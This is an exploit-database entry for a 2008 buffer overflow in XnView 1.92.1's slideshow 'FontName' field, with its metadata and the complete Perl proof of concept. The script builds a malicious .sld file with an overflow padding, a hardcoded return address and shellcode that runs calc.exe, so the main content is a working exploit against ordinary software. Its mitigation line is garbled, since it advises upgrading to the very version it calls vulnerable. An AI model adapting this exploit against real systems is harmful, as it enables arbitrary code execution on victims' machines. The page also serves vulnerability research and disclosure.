XnView 1.92.1 Slideshow "FontName" Buffer Overflow

vendor:

XnView

by:

haluznik

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: XnView

Affected Version From: 1.92.1

Affected Version To: 1.92.1

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2008

XnView 1.92.1 Slideshow “FontName” Buffer Overflow

XnView 1.92.1 Slideshow "FontName" Buffer Overflow is a vulnerability found by Stefan Cornelius, Secunia Research in 2008. It allows an attacker to execute arbitrary code on the vulnerable system. The exploit is written in Perl and creates a poc.sld file which contains a malicious fontname. The malicious fontname contains a shellcode which executes calc.exe on the vulnerable system.

Mitigation:

Upgrade to the latest version of XnView 1.92.1

Source

Exploit-DB raw data:

#!/usr/bin/perl

# ================================================================
# XnView 1.92.1 Slideshow "FontName" Buffer Overflow
# ================================================================
#
# Calc execution POC Exploit for WinXP SP1 pro English
#
# Found by   : Stefan Cornelius, Secunia Research
# Advisory   : http://secunia.com/secunia_research/2008-6/advisory
#
# Exploit by : haluznik | haluznik<at>gmail.com
#
# 04.01.2008 ..April Fools Day ;)
# ================================================================


print "\n [*] XnView 1.92.1 Slideshow exploit by haluznik\n\n";

my $head=
"\x23\x20\x53\x6c\x69\x64\x65\x20\x53\x68".
"\x6f\x77\x20\x53\x65\x71\x75\x65\x6e\x63".
"\x65\x0d\x0a\x46\x6f\x6e\x74\x4e\x61\x6d".
"\x65\x20\x3d\x20\x22";

$fontname = "A" x 32 . "\xcc\x59\xfb\x77";

my $shellcode=
"\x33\xc0\x50\x68\x63\x61\x6c\x63\x54\x5b".
"\x50\x53\xb9\x44\x80\xc2\x77\xff\xd1\x50".
"\xbb\xfd\x98\xe7\x77\xff\xd3";

my $tail=
"\x22\x0d\x0a\x22\x43\x3a\x5c\x74\x65\x73".
"\x74\x2e\x6a\x70\x67\x22\x0d\x0a";

$sld = $head . $fontname . $shellcode . $tail;

print " [+] Creating poc.sld file..\n";

open(file,">poc.sld") || die " [-] cannot write file\n";
print(file $sld);
close(file);
print " [*] Done!\n";

# milw0rm.com [2008-04-02]